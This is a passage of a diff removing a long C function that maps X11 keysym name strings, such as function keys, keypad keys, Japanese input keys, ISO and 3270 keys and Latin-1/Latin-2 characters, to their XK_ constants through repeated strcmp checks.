- if (!strcmp(s, "Sys_Req")) return XK_Sys_Req;
- if (!strcmp(s, "Escape")) return XK_Escape;
- if (!strcmp(s, "Delete")) return XK_Delete;
- if (!strcmp(s, "Multi_key")) return XK_Multi_key;
- if (!strcmp(s, "SingleCandidate")) return XK_SingleCandidate;
- if (!strcmp(s, "MultipleCandidate")) return XK_MultipleCandidate;
- if (!strcmp(s, "PreviousCandidate")) return XK_PreviousCandidate;
- if (!strcmp(s, "Kanji")) return XK_Kanji;
- if (!strcmp(s, "Muhenkan")) return XK_Muhenkan;
- if (!strcmp(s, "Henkan_Mode")) return XK_Henkan_Mode;
- if (!strcmp(s, "Henkan")) return XK_Henkan;
- if (!strcmp(s, "Romaji")) return XK_Romaji;
- if (!strcmp(s, "Hiragana")) return XK_Hiragana;
- if (!strcmp(s, "Katakana")) return XK_Katakana;
- if (!strcmp(s, "Hiragana_Katakana")) return XK_Hiragana_Katakana;
- if (!strcmp(s, "Zenkaku")) return XK_Zenkaku;
- if (!strcmp(s, "Hankaku")) return XK_Hankaku;
- if (!strcmp(s, "Zenkaku_Hankaku")) return XK_Zenkaku_Hankaku;
- if (!strcmp(s, "Touroku")) return XK_Touroku;
- if (!strcmp(s, "Massyo")) return XK_Massyo;
- if (!strcmp(s, "Kana_Lock")) return XK_Kana_Lock;
- if (!strcmp(s, "Kana_Shift")) return XK_Kana_Shift;
- if (!strcmp(s, "Eisu_Shift")) return XK_Eisu_Shift;
- if (!strcmp(s, "Eisu_toggle")) return XK_Eisu_toggle;
- if (!strcmp(s, "Zen_Koho")) return XK_Zen_Koho;
- if (!strcmp(s, "Mae_Koho")) return XK_Mae_Koho;
- if (!strcmp(s, "Home")) return XK_Home;
- if (!strcmp(s, "Left")) return XK_Left;
- if (!strcmp(s, "Up")) return XK_Up;
- if (!strcmp(s, "Right")) return XK_Right;
- if (!strcmp(s, "Down")) return XK_Down;
- if (!strcmp(s, "Prior")) return XK_Prior;
- if (!strcmp(s, "Page_Up")) return XK_Page_Up;
- if (!strcmp(s, "Next")) return XK_Next;
- if (!strcmp(s, "Page_Down")) return XK_Page_Down;
- if (!strcmp(s, "End")) return XK_End;
- if (!strcmp(s, "Begin")) return XK_Begin;
- if (!strcmp(s, "Select")) return XK_Select;
- if (!strcmp(s, "Print")) return XK_Print;
- if (!strcmp(s, "Execute")) return XK_Execute;
- if (!strcmp(s, "Insert")) return XK_Insert;
- if (!strcmp(s, "Undo")) return XK_Undo;
- if (!strcmp(s, "Redo")) return XK_Redo;
- if (!strcmp(s, "Menu")) return XK_Menu;
- if (!strcmp(s, "Find")) return XK_Find;
- if (!strcmp(s, "Cancel")) return XK_Cancel;
- if (!strcmp(s, "Help")) return XK_Help;
- if (!strcmp(s, "Break")) return XK_Break;
- if (!strcmp(s, "Mode_switch")) return XK_Mode_switch;
- if (!strcmp(s, "script_switch")) return XK_script_switch;
- if (!strcmp(s, "Num_Lock")) return XK_Num_Lock;
- if (!strcmp(s, "KP_Space")) return XK_KP_Space;
- if (!strcmp(s, "KP_Tab")) return XK_KP_Tab;
- if (!strcmp(s, "KP_Enter")) return XK_KP_Enter;
- if (!strcmp(s, "KP_F1")) return XK_KP_F1;
- if (!strcmp(s, "KP_F2")) return XK_KP_F2;
- if (!strcmp(s, "KP_F3")) return XK_KP_F3;
- if (!strcmp(s, "KP_F4")) return XK_KP_F4;
- if (!strcmp(s, "KP_Home")) return XK_KP_Home;
- if (!strcmp(s, "KP_Left")) return XK_KP_Left;
- if (!strcmp(s, "KP_Up")) return XK_KP_Up;
- if (!strcmp(s, "KP_Right")) return XK_KP_Right;
- if (!strcmp(s, "KP_Down")) return XK_KP_Down;
- if (!strcmp(s, "KP_Prior")) return XK_KP_Prior;
- if (!strcmp(s, "KP_Page_Up")) return XK_KP_Page_Up;
- if (!strcmp(s, "KP_Next")) return XK_KP_Next;
- if (!strcmp(s, "KP_Page_Down")) return XK_KP_Page_Down;
- if (!strcmp(s, "KP_End")) return XK_KP_End;
- if (!strcmp(s, "KP_Begin")) return XK_KP_Begin;
- if (!strcmp(s, "KP_Insert")) return XK_KP_Insert;
- if (!strcmp(s, "KP_Delete")) return XK_KP_Delete;
- if (!strcmp(s, "KP_Equal")) return XK_KP_Equal;
- if (!strcmp(s, "KP_Multiply")) return XK_KP_Multiply;
- if (!strcmp(s, "KP_Add")) return XK_KP_Add;
- if (!strcmp(s, "KP_Separator")) return XK_KP_Separator;
- if (!strcmp(s, "KP_Subtract")) return XK_KP_Subtract;
- if (!strcmp(s, "KP_Decimal")) return XK_KP_Decimal;
- if (!strcmp(s, "KP_Divide")) return XK_KP_Divide;
- if (!strcmp(s, "KP_0")) return XK_KP_0;
- if (!strcmp(s, "KP_1")) return XK_KP_1;
- if (!strcmp(s, "KP_2")) return XK_KP_2;
- if (!strcmp(s, "KP_3")) return XK_KP_3;
- if (!strcmp(s, "KP_4")) return XK_KP_4;
- if (!strcmp(s, "KP_5")) return XK_KP_5;
- if (!strcmp(s, "KP_6")) return XK_KP_6;
- if (!strcmp(s, "KP_7")) return XK_KP_7;
- if (!strcmp(s, "KP_8")) return XK_KP_8;
- if (!strcmp(s, "KP_9")) return XK_KP_9;
- if (!strcmp(s, "F1")) return XK_F1;
- if (!strcmp(s, "F2")) return XK_F2;
- if (!strcmp(s, "F3")) return XK_F3;
- if (!strcmp(s, "F4")) return XK_F4;
- if (!strcmp(s, "F5")) return XK_F5;
- if (!strcmp(s, "F6")) return XK_F6;
- if (!strcmp(s, "F7")) return XK_F7;
- if (!strcmp(s, "F8")) return XK_F8;
- if (!strcmp(s, "F9")) return XK_F9;
- if (!strcmp(s, "F10")) return XK_F10;
- if (!strcmp(s, "F11")) return XK_F11;
- if (!strcmp(s, "L1")) return XK_L1;
- if (!strcmp(s, "F12")) return XK_F12;
- if (!strcmp(s, "L2")) return XK_L2;
- if (!strcmp(s, "F13")) return XK_F13;
- if (!strcmp(s, "L3")) return XK_L3;
- if (!strcmp(s, "F14")) return XK_F14;
- if (!strcmp(s, "L4")) return XK_L4;
- if (!strcmp(s, "F15")) return XK_F15;
- if (!strcmp(s, "L5")) return XK_L5;
- if (!strcmp(s, "F16")) return XK_F16;
- if (!strcmp(s, "L6")) return XK_L6;
- if (!strcmp(s, "F17")) return XK_F17;
- if (!strcmp(s, "L7")) return XK_L7;
- if (!strcmp(s, "F18")) return XK_F18;
- if (!strcmp(s, "L8")) return XK_L8;
- if (!strcmp(s, "F19")) return XK_F19;
- if (!strcmp(s, "L9")) return XK_L9;
- if (!strcmp(s, "F20")) return XK_F20;
- if (!strcmp(s, "L10")) return XK_L10;
- if (!strcmp(s, "F21")) return XK_F21;
- if (!strcmp(s, "R1")) return XK_R1;
- if (!strcmp(s, "F22")) return XK_F22;
- if (!strcmp(s, "R2")) return XK_R2;
- if (!strcmp(s, "F23")) return XK_F23;
- if (!strcmp(s, "R3")) return XK_R3;
- if (!strcmp(s, "F24")) return XK_F24;
- if (!strcmp(s, "R4")) return XK_R4;
- if (!strcmp(s, "F25")) return XK_F25;
- if (!strcmp(s, "R5")) return XK_R5;
- if (!strcmp(s, "F26")) return XK_F26;
- if (!strcmp(s, "R6")) return XK_R6;
- if (!strcmp(s, "F27")) return XK_F27;
- if (!strcmp(s, "R7")) return XK_R7;
- if (!strcmp(s, "F28")) return XK_F28;
- if (!strcmp(s, "R8")) return XK_R8;
- if (!strcmp(s, "F29")) return XK_F29;
- if (!strcmp(s, "R9")) return XK_R9;
- if (!strcmp(s, "F30")) return XK_F30;
- if (!strcmp(s, "R10")) return XK_R10;
- if (!strcmp(s, "F31")) return XK_F31;
- if (!strcmp(s, "R11")) return XK_R11;
- if (!strcmp(s, "F32")) return XK_F32;
- if (!strcmp(s, "R12")) return XK_R12;
- if (!strcmp(s, "F33")) return XK_F33;
- if (!strcmp(s, "R13")) return XK_R13;
- if (!strcmp(s, "F34")) return XK_F34;
- if (!strcmp(s, "R14")) return XK_R14;
- if (!strcmp(s, "F35")) return XK_F35;
- if (!strcmp(s, "R15")) return XK_R15;
- if (!strcmp(s, "Shift_L")) return XK_Shift_L;
- if (!strcmp(s, "Shift_R")) return XK_Shift_R;
- if (!strcmp(s, "Control_L")) return XK_Control_L;
- if (!strcmp(s, "Control_R")) return XK_Control_R;
- if (!strcmp(s, "Caps_Lock")) return XK_Caps_Lock;
- if (!strcmp(s, "Shift_Lock")) return XK_Shift_Lock;
- if (!strcmp(s, "Meta_L")) return XK_Meta_L;
- if (!strcmp(s, "Meta_R")) return XK_Meta_R;
- if (!strcmp(s, "Alt_L")) return XK_Alt_L;
- if (!strcmp(s, "Alt_R")) return XK_Alt_R;
- if (!strcmp(s, "Super_L")) return XK_Super_L;
- if (!strcmp(s, "Super_R")) return XK_Super_R;
- if (!strcmp(s, "Hyper_L")) return XK_Hyper_L;
- if (!strcmp(s, "Hyper_R")) return XK_Hyper_R;
-#endif /* XK_MISCELLANY */
-#ifdef XK_XKB_KEYS
- if (!strcmp(s, "ISO_Lock")) return XK_ISO_Lock;
- if (!strcmp(s, "ISO_Level2_Latch")) return XK_ISO_Level2_Latch;
- if (!strcmp(s, "ISO_Level3_Shift")) return XK_ISO_Level3_Shift;
- if (!strcmp(s, "ISO_Level3_Latch")) return XK_ISO_Level3_Latch;
- if (!strcmp(s, "ISO_Level3_Lock")) return XK_ISO_Level3_Lock;
- if (!strcmp(s, "ISO_Group_Shift")) return XK_ISO_Group_Shift;
- if (!strcmp(s, "ISO_Group_Latch")) return XK_ISO_Group_Latch;
- if (!strcmp(s, "ISO_Group_Lock")) return XK_ISO_Group_Lock;
- if (!strcmp(s, "ISO_Next_Group")) return XK_ISO_Next_Group;
- if (!strcmp(s, "ISO_Next_Group_Lock")) return XK_ISO_Next_Group_Lock;
- if (!strcmp(s, "ISO_Prev_Group")) return XK_ISO_Prev_Group;
- if (!strcmp(s, "ISO_Prev_Group_Lock")) return XK_ISO_Prev_Group_Lock;
- if (!strcmp(s, "ISO_First_Group")) return XK_ISO_First_Group;
- if (!strcmp(s, "ISO_First_Group_Lock")) return XK_ISO_First_Group_Lock;
- if (!strcmp(s, "ISO_Last_Group")) return XK_ISO_Last_Group;
- if (!strcmp(s, "ISO_Last_Group_Lock")) return XK_ISO_Last_Group_Lock;
- if (!strcmp(s, "ISO_Left_Tab")) return XK_ISO_Left_Tab;
- if (!strcmp(s, "ISO_Move_Line_Up")) return XK_ISO_Move_Line_Up;
- if (!strcmp(s, "ISO_Move_Line_Down")) return XK_ISO_Move_Line_Down;
- if (!strcmp(s, "ISO_Partial_Line_Up")) return XK_ISO_Partial_Line_Up;
- if (!strcmp(s, "ISO_Partial_Line_Down")) return XK_ISO_Partial_Line_Down;
- if (!strcmp(s, "ISO_Partial_Space_Left")) return XK_ISO_Partial_Space_Left;
- if (!strcmp(s, "ISO_Partial_Space_Right")) return XK_ISO_Partial_Space_Right;
- if (!strcmp(s, "ISO_Set_Margin_Left")) return XK_ISO_Set_Margin_Left;
- if (!strcmp(s, "ISO_Set_Margin_Right")) return XK_ISO_Set_Margin_Right;
- if (!strcmp(s, "ISO_Release_Margin_Left")) return XK_ISO_Release_Margin_Left;
- if (!strcmp(s, "ISO_Release_Margin_Right")) return XK_ISO_Release_Margin_Right;
- if (!strcmp(s, "ISO_Release_Both_Margins")) return XK_ISO_Release_Both_Margins;
- if (!strcmp(s, "ISO_Fast_Cursor_Left")) return XK_ISO_Fast_Cursor_Left;
- if (!strcmp(s, "ISO_Fast_Cursor_Right")) return XK_ISO_Fast_Cursor_Right;
- if (!strcmp(s, "ISO_Fast_Cursor_Up")) return XK_ISO_Fast_Cursor_Up;
- if (!strcmp(s, "ISO_Fast_Cursor_Down")) return XK_ISO_Fast_Cursor_Down;
- if (!strcmp(s, "ISO_Continuous_Underline")) return XK_ISO_Continuous_Underline;
- if (!strcmp(s, "ISO_Discontinuous_Underline")) return XK_ISO_Discontinuous_Underline;
- if (!strcmp(s, "ISO_Emphasize")) return XK_ISO_Emphasize;
- if (!strcmp(s, "ISO_Center_Object")) return XK_ISO_Center_Object;
- if (!strcmp(s, "ISO_Enter")) return XK_ISO_Enter;
- if (!strcmp(s, "dead_grave")) return XK_dead_grave;
- if (!strcmp(s, "dead_acute")) return XK_dead_acute;
- if (!strcmp(s, "dead_circumflex")) return XK_dead_circumflex;
- if (!strcmp(s, "dead_tilde")) return XK_dead_tilde;
- if (!strcmp(s, "dead_macron")) return XK_dead_macron;
- if (!strcmp(s, "dead_breve")) return XK_dead_breve;
- if (!strcmp(s, "dead_abovedot")) return XK_dead_abovedot;
- if (!strcmp(s, "dead_diaeresis")) return XK_dead_diaeresis;
- if (!strcmp(s, "dead_abovering")) return XK_dead_abovering;
- if (!strcmp(s, "dead_doubleacute")) return XK_dead_doubleacute;
- if (!strcmp(s, "dead_caron")) return XK_dead_caron;
- if (!strcmp(s, "dead_cedilla")) return XK_dead_cedilla;
- if (!strcmp(s, "dead_ogonek")) return XK_dead_ogonek;
- if (!strcmp(s, "dead_iota")) return XK_dead_iota;
- if (!strcmp(s, "dead_voiced_sound")) return XK_dead_voiced_sound;
- if (!strcmp(s, "dead_semivoiced_sound")) return XK_dead_semivoiced_sound;
- if (!strcmp(s, "dead_belowdot")) return XK_dead_belowdot;
- if (!strcmp(s, "First_Virtual_Screen")) return XK_First_Virtual_Screen;
- if (!strcmp(s, "Prev_Virtual_Screen")) return XK_Prev_Virtual_Screen;
- if (!strcmp(s, "Next_Virtual_Screen")) return XK_Next_Virtual_Screen;
- if (!strcmp(s, "Last_Virtual_Screen")) return XK_Last_Virtual_Screen;
- if (!strcmp(s, "Terminate_Server")) return XK_Terminate_Server;
- if (!strcmp(s, "AccessX_Enable")) return XK_AccessX_Enable;
- if (!strcmp(s, "AccessX_Feedback_Enable")) return XK_AccessX_Feedback_Enable;
- if (!strcmp(s, "RepeatKeys_Enable")) return XK_RepeatKeys_Enable;
- if (!strcmp(s, "SlowKeys_Enable")) return XK_SlowKeys_Enable;
- if (!strcmp(s, "BounceKeys_Enable")) return XK_BounceKeys_Enable;
- if (!strcmp(s, "StickyKeys_Enable")) return XK_StickyKeys_Enable;
- if (!strcmp(s, "MouseKeys_Enable")) return XK_MouseKeys_Enable;
- if (!strcmp(s, "MouseKeys_Accel_Enable")) return XK_MouseKeys_Accel_Enable;
- if (!strcmp(s, "Overlay1_Enable")) return XK_Overlay1_Enable;
- if (!strcmp(s, "Overlay2_Enable")) return XK_Overlay2_Enable;
- if (!strcmp(s, "AudibleBell_Enable")) return XK_AudibleBell_Enable;
- if (!strcmp(s, "Pointer_Left")) return XK_Pointer_Left;
- if (!strcmp(s, "Pointer_Right")) return XK_Pointer_Right;
- if (!strcmp(s, "Pointer_Up")) return XK_Pointer_Up;
- if (!strcmp(s, "Pointer_Down")) return XK_Pointer_Down;
- if (!strcmp(s, "Pointer_UpLeft")) return XK_Pointer_UpLeft;
- if (!strcmp(s, "Pointer_UpRight")) return XK_Pointer_UpRight;
- if (!strcmp(s, "Pointer_DownLeft")) return XK_Pointer_DownLeft;
- if (!strcmp(s, "Pointer_DownRight")) return XK_Pointer_DownRight;
- if (!strcmp(s, "Pointer_Button_Dflt")) return XK_Pointer_Button_Dflt;
- if (!strcmp(s, "Pointer_Button1")) return XK_Pointer_Button1;
- if (!strcmp(s, "Pointer_Button2")) return XK_Pointer_Button2;
- if (!strcmp(s, "Pointer_Button3")) return XK_Pointer_Button3;
- if (!strcmp(s, "Pointer_Button4")) return XK_Pointer_Button4;
- if (!strcmp(s, "Pointer_Button5")) return XK_Pointer_Button5;
- if (!strcmp(s, "Pointer_DblClick_Dflt")) return XK_Pointer_DblClick_Dflt;
- if (!strcmp(s, "Pointer_DblClick1")) return XK_Pointer_DblClick1;
- if (!strcmp(s, "Pointer_DblClick2")) return XK_Pointer_DblClick2;
- if (!strcmp(s, "Pointer_DblClick3")) return XK_Pointer_DblClick3;
- if (!strcmp(s, "Pointer_DblClick4")) return XK_Pointer_DblClick4;
- if (!strcmp(s, "Pointer_DblClick5")) return XK_Pointer_DblClick5;
- if (!strcmp(s, "Pointer_Drag_Dflt")) return XK_Pointer_Drag_Dflt;
- if (!strcmp(s, "Pointer_Drag1")) return XK_Pointer_Drag1;
- if (!strcmp(s, "Pointer_Drag2")) return XK_Pointer_Drag2;
- if (!strcmp(s, "Pointer_Drag3")) return XK_Pointer_Drag3;
- if (!strcmp(s, "Pointer_Drag4")) return XK_Pointer_Drag4;
- if (!strcmp(s, "Pointer_Drag5")) return XK_Pointer_Drag5;
- if (!strcmp(s, "Pointer_EnableKeys")) return XK_Pointer_EnableKeys;
- if (!strcmp(s, "Pointer_Accelerate")) return XK_Pointer_Accelerate;
- if (!strcmp(s, "Pointer_DfltBtnNext")) return XK_Pointer_DfltBtnNext;
- if (!strcmp(s, "Pointer_DfltBtnPrev")) return XK_Pointer_DfltBtnPrev;
-#endif
-#ifdef XK_3270
- if (!strcmp(s, "3270_Duplicate")) return XK_3270_Duplicate;
- if (!strcmp(s, "3270_FieldMark")) return XK_3270_FieldMark;
- if (!strcmp(s, "3270_Right2")) return XK_3270_Right2;
- if (!strcmp(s, "3270_Left2")) return XK_3270_Left2;
- if (!strcmp(s, "3270_BackTab")) return XK_3270_BackTab;
- if (!strcmp(s, "3270_EraseEOF")) return XK_3270_EraseEOF;
- if (!strcmp(s, "3270_EraseInput")) return XK_3270_EraseInput;
- if (!strcmp(s, "3270_Reset")) return XK_3270_Reset;
- if (!strcmp(s, "3270_Quit")) return XK_3270_Quit;
- if (!strcmp(s, "3270_PA1")) return XK_3270_PA1;
- if (!strcmp(s, "3270_PA2")) return XK_3270_PA2;
- if (!strcmp(s, "3270_PA3")) return XK_3270_PA3;
- if (!strcmp(s, "3270_Test")) return XK_3270_Test;
- if (!strcmp(s, "3270_Attn")) return XK_3270_Attn;
- if (!strcmp(s, "3270_CursorBlink")) return XK_3270_CursorBlink;
- if (!strcmp(s, "3270_AltCursor")) return XK_3270_AltCursor;
- if (!strcmp(s, "3270_KeyClick")) return XK_3270_KeyClick;
- if (!strcmp(s, "3270_Jump")) return XK_3270_Jump;
- if (!strcmp(s, "3270_Ident")) return XK_3270_Ident;
- if (!strcmp(s, "3270_Rule")) return XK_3270_Rule;
- if (!strcmp(s, "3270_Copy")) return XK_3270_Copy;
- if (!strcmp(s, "3270_Play")) return XK_3270_Play;
- if (!strcmp(s, "3270_Setup")) return XK_3270_Setup;
- if (!strcmp(s, "3270_Record")) return XK_3270_Record;
- if (!strcmp(s, "3270_ChangeScreen")) return XK_3270_ChangeScreen;
- if (!strcmp(s, "3270_DeleteWord")) return XK_3270_DeleteWord;
- if (!strcmp(s, "3270_ExSelect")) return XK_3270_ExSelect;
- if (!strcmp(s, "3270_CursorSelect")) return XK_3270_CursorSelect;
- if (!strcmp(s, "3270_PrintScreen")) return XK_3270_PrintScreen;
- if (!strcmp(s, "3270_Enter")) return XK_3270_Enter;
-#endif
-#ifdef XK_LATIN1
- if (!strcmp(s, "space")) return XK_space;
- if (!strcmp(s, "exclam")) return XK_exclam;
- if (!strcmp(s, "quotedbl")) return XK_quotedbl;
- if (!strcmp(s, "numbersign")) return XK_numbersign;
- if (!strcmp(s, "dollar")) return XK_dollar;
- if (!strcmp(s, "percent")) return XK_percent;
- if (!strcmp(s, "ampersand")) return XK_ampersand;
- if (!strcmp(s, "apostrophe")) return XK_apostrophe;
- if (!strcmp(s, "quoteright")) return XK_quoteright;
- if (!strcmp(s, "parenleft")) return XK_parenleft;
- if (!strcmp(s, "parenright")) return XK_parenright;
- if (!strcmp(s, "asterisk")) return XK_asterisk;
- if (!strcmp(s, "plus")) return XK_plus;
- if (!strcmp(s, "comma")) return XK_comma;
- if (!strcmp(s, "minus")) return XK_minus;
- if (!strcmp(s, "period")) return XK_period;
- if (!strcmp(s, "slash")) return XK_slash;
- if (!strcmp(s, "0")) return XK_0;
- if (!strcmp(s, "1")) return XK_1;
- if (!strcmp(s, "2")) return XK_2;
- if (!strcmp(s, "3")) return XK_3;
- if (!strcmp(s, "4")) return XK_4;
- if (!strcmp(s, "5")) return XK_5;
- if (!strcmp(s, "6")) return XK_6;
- if (!strcmp(s, "7")) return XK_7;
- if (!strcmp(s, "8")) return XK_8;
- if (!strcmp(s, "9")) return XK_9;
- if (!strcmp(s, "colon")) return XK_colon;
- if (!strcmp(s, "semicolon")) return XK_semicolon;
- if (!strcmp(s, "less")) return XK_less;
- if (!strcmp(s, "equal")) return XK_equal;
- if (!strcmp(s, "greater")) return XK_greater;
- if (!strcmp(s, "question")) return XK_question;
- if (!strcmp(s, "at")) return XK_at;
- if (!strcmp(s, "A")) return XK_A;
- if (!strcmp(s, "B")) return XK_B;
- if (!strcmp(s, "C")) return XK_C;
- if (!strcmp(s, "D")) return XK_D;
- if (!strcmp(s, "E")) return XK_E;
- if (!strcmp(s, "F")) return XK_F;
- if (!strcmp(s, "G")) return XK_G;
- if (!strcmp(s, "H")) return XK_H;
- if (!strcmp(s, "I")) return XK_I;
- if (!strcmp(s, "J")) return XK_J;
- if (!strcmp(s, "K")) return XK_K;
- if (!strcmp(s, "L")) return XK_L;
- if (!strcmp(s, "M")) return XK_M;
- if (!strcmp(s, "N")) return XK_N;
- if (!strcmp(s, "O")) return XK_O;
- if (!strcmp(s, "P")) return XK_P;
- if (!strcmp(s, "Q")) return XK_Q;
- if (!strcmp(s, "R")) return XK_R;
- if (!strcmp(s, "S")) return XK_S;
- if (!strcmp(s, "T")) return XK_T;
- if (!strcmp(s, "U")) return XK_U;
- if (!strcmp(s, "V")) return XK_V;
- if (!strcmp(s, "W")) return XK_W;
- if (!strcmp(s, "X")) return XK_X;
- if (!strcmp(s, "Y")) return XK_Y;
- if (!strcmp(s, "Z")) return XK_Z;
- if (!strcmp(s, "bracketleft")) return XK_bracketleft;
- if (!strcmp(s, "backslash")) return XK_backslash;
- if (!strcmp(s, "bracketright")) return XK_bracketright;
- if (!strcmp(s, "asciicircum")) return XK_asciicircum;
- if (!strcmp(s, "underscore")) return XK_underscore;
- if (!strcmp(s, "grave")) return XK_grave;
- if (!strcmp(s, "quoteleft")) return XK_quoteleft;
- if (!strcmp(s, "a")) return XK_a;
- if (!strcmp(s, "b")) return XK_b;
- if (!strcmp(s, "c")) return XK_c;
- if (!strcmp(s, "d")) return XK_d;
- if (!strcmp(s, "e")) return XK_e;
- if (!strcmp(s, "f")) return XK_f;
- if (!strcmp(s, "g")) return XK_g;
- if (!strcmp(s, "h")) return XK_h;
- if (!strcmp(s, "i")) return XK_i;
- if (!strcmp(s, "j")) return XK_j;
- if (!strcmp(s, "k")) return XK_k;
- if (!strcmp(s, "l")) return XK_l;
- if (!strcmp(s, "m")) return XK_m;
- if (!strcmp(s, "n")) return XK_n;
- if (!strcmp(s, "o")) return XK_o;
- if (!strcmp(s, "p")) return XK_p;
- if (!strcmp(s, "q")) return XK_q;
- if (!strcmp(s, "r")) return XK_r;
- if (!strcmp(s, "s")) return XK_s;
- if (!strcmp(s, "t")) return XK_t;
- if (!strcmp(s, "u")) return XK_u;
- if (!strcmp(s, "v")) return XK_v;
- if (!strcmp(s, "w")) return XK_w;
- if (!strcmp(s, "x")) return XK_x;
- if (!strcmp(s, "y")) return XK_y;
- if (!strcmp(s, "z")) return XK_z;
- if (!strcmp(s, "braceleft")) return XK_braceleft;
- if (!strcmp(s, "bar")) return XK_bar;
- if (!strcmp(s, "braceright")) return XK_braceright;
- if (!strcmp(s, "asciitilde")) return XK_asciitilde;
- if (!strcmp(s, "nobreakspace")) return XK_nobreakspace;
- if (!strcmp(s, "exclamdown")) return XK_exclamdown;
- if (!strcmp(s, "cent")) return XK_cent;
- if (!strcmp(s, "sterling")) return XK_sterling;
- if (!strcmp(s, "currency")) return XK_currency;
- if (!strcmp(s, "yen")) return XK_yen;
- if (!strcmp(s, "brokenbar")) return XK_brokenbar;
- if (!strcmp(s, "section")) return XK_section;
- if (!strcmp(s, "diaeresis")) return XK_diaeresis;
- if (!strcmp(s, "copyright")) return XK_copyright;
- if (!strcmp(s, "ordfeminine")) return XK_ordfeminine;
- if (!strcmp(s, "guillemotleft")) return XK_guillemotleft;
- if (!strcmp(s, "notsign")) return XK_notsign;
- if (!strcmp(s, "hyphen")) return XK_hyphen;
- if (!strcmp(s, "registered")) return XK_registered;
- if (!strcmp(s, "macron")) return XK_macron;
- if (!strcmp(s, "degree")) return XK_degree;
- if (!strcmp(s, "plusminus")) return XK_plusminus;
- if (!strcmp(s, "twosuperior")) return XK_twosuperior;
- if (!strcmp(s, "threesuperior")) return XK_threesuperior;
- if (!strcmp(s, "acute")) return XK_acute;
- if (!strcmp(s, "mu")) return XK_mu;
- if (!strcmp(s, "paragraph")) return XK_paragraph;
- if (!strcmp(s, "periodcentered")) return XK_periodcentered;
- if (!strcmp(s, "cedilla")) return XK_cedilla;
- if (!strcmp(s, "onesuperior")) return XK_onesuperior;
- if (!strcmp(s, "masculine")) return XK_masculine;
- if (!strcmp(s, "guillemotright")) return XK_guillemotright;
- if (!strcmp(s, "onequarter")) return XK_onequarter;
- if (!strcmp(s, "onehalf")) return XK_onehalf;
- if (!strcmp(s, "threequarters")) return XK_threequarters;
- if (!strcmp(s, "questiondown")) return XK_questiondown;
- if (!strcmp(s, "Agrave")) return XK_Agrave;
- if (!strcmp(s, "Aacute")) return XK_Aacute;
- if (!strcmp(s, "Acircumflex")) return XK_Acircumflex;
- if (!strcmp(s, "Atilde")) return XK_Atilde;
- if (!strcmp(s, "Adiaeresis")) return XK_Adiaeresis;
- if (!strcmp(s, "Aring")) return XK_Aring;
- if (!strcmp(s, "AE")) return XK_AE;
- if (!strcmp(s, "Ccedilla")) return XK_Ccedilla;
- if (!strcmp(s, "Egrave")) return XK_Egrave;
- if (!strcmp(s, "Eacute")) return XK_Eacute;
- if (!strcmp(s, "Ecircumflex")) return XK_Ecircumflex;
- if (!strcmp(s, "Ediaeresis")) return XK_Ediaeresis;
- if (!strcmp(s, "Igrave")) return XK_Igrave;
- if (!strcmp(s, "Iacute")) return XK_Iacute;
- if (!strcmp(s, "Icircumflex")) return XK_Icircumflex;
- if (!strcmp(s, "Idiaeresis")) return XK_Idiaeresis;
- if (!strcmp(s, "ETH")) return XK_ETH;
- if (!strcmp(s, "Eth")) return XK_Eth;
- if (!strcmp(s, "Ntilde")) return XK_Ntilde;
- if (!strcmp(s, "Ograve")) return XK_Ograve;
- if (!strcmp(s, "Oacute")) return XK_Oacute;
- if (!strcmp(s, "Ocircumflex")) return XK_Ocircumflex;
- if (!strcmp(s, "Otilde")) return XK_Otilde;
- if (!strcmp(s, "Odiaeresis")) return XK_Odiaeresis;
- if (!strcmp(s, "multiply")) return XK_multiply;
- if (!strcmp(s, "Ooblique")) return XK_Ooblique;
- if (!strcmp(s, "Ugrave")) return XK_Ugrave;
- if (!strcmp(s, "Uacute")) return XK_Uacute;
- if (!strcmp(s, "Ucircumflex")) return XK_Ucircumflex;
- if (!strcmp(s, "Udiaeresis")) return XK_Udiaeresis;
- if (!strcmp(s, "Yacute")) return XK_Yacute;
- if (!strcmp(s, "THORN")) return XK_THORN;
- if (!strcmp(s, "Thorn")) return XK_Thorn;
- if (!strcmp(s, "ssharp")) return XK_ssharp;
- if (!strcmp(s, "agrave")) return XK_agrave;
- if (!strcmp(s, "aacute")) return XK_aacute;
- if (!strcmp(s, "acircumflex")) return XK_acircumflex;
- if (!strcmp(s, "atilde")) return XK_atilde;
- if (!strcmp(s, "adiaeresis")) return XK_adiaeresis;
- if (!strcmp(s, "aring")) return XK_aring;
- if (!strcmp(s, "ae")) return XK_ae;
- if (!strcmp(s, "ccedilla")) return XK_ccedilla;
- if (!strcmp(s, "egrave")) return XK_egrave;
- if (!strcmp(s, "eacute")) return XK_eacute;
- if (!strcmp(s, "ecircumflex")) return XK_ecircumflex;
- if (!strcmp(s, "ediaeresis")) return XK_ediaeresis;
- if (!strcmp(s, "igrave")) return XK_igrave;
- if (!strcmp(s, "iacute")) return XK_iacute;
- if (!strcmp(s, "icircumflex")) return XK_icircumflex;
- if (!strcmp(s, "idiaeresis")) return XK_idiaeresis;
- if (!strcmp(s, "eth")) return XK_eth;
- if (!strcmp(s, "ntilde")) return XK_ntilde;
- if (!strcmp(s, "ograve")) return XK_ograve;
- if (!strcmp(s, "oacute")) return XK_oacute;
- if (!strcmp(s, "ocircumflex")) return XK_ocircumflex;
- if (!strcmp(s, "otilde")) return XK_otilde;
- if (!strcmp(s, "odiaeresis")) return XK_odiaeresis;
- if (!strcmp(s, "division")) return XK_division;
- if (!strcmp(s, "oslash")) return XK_oslash;
- if (!strcmp(s, "ugrave")) return XK_ugrave;
- if (!strcmp(s, "uacute")) return XK_uacute;
- if (!strcmp(s, "ucircumflex")) return XK_ucircumflex;
- if (!strcmp(s, "udiaeresis")) return XK_udiaeresis;
- if (!strcmp(s, "yacute")) return XK_yacute;
- if (!strcmp(s, "thorn")) return XK_thorn;
- if (!strcmp(s, "ydiaeresis")) return XK_ydiaeresis;
-#endif /* XK_LATIN1 */
-#ifdef XK_LATIN2
- if (!strcmp(s, "Aogonek")) return XK_Aogonek;
- if (!strcmp(s, "breve")) return XK_breve;
- if (!strcmp(s, "Lstroke")) return XK_Lstroke;
- if (!strcmp(s, "Lcaron")) return XK_Lcaron;
- if (!strcmp(s, "Sacute")) return XK_Sacute;
- if (!strcmp(s, "Scaron")) return XK_Scaron;
- if (!strcmp(s, "Scedilla")) return XK_Scedilla;
- if (!strcmp(s, "Tcaron")) return XK_Tcaron;
- if (!strcmp(s, "Zacute")) return XK_Zacute;
- if (!strcmp(s, "Zcaron")) return XK_Zcaron;
- if (!strcmp(s, "Zabovedot")) return XK_Zabovedot;
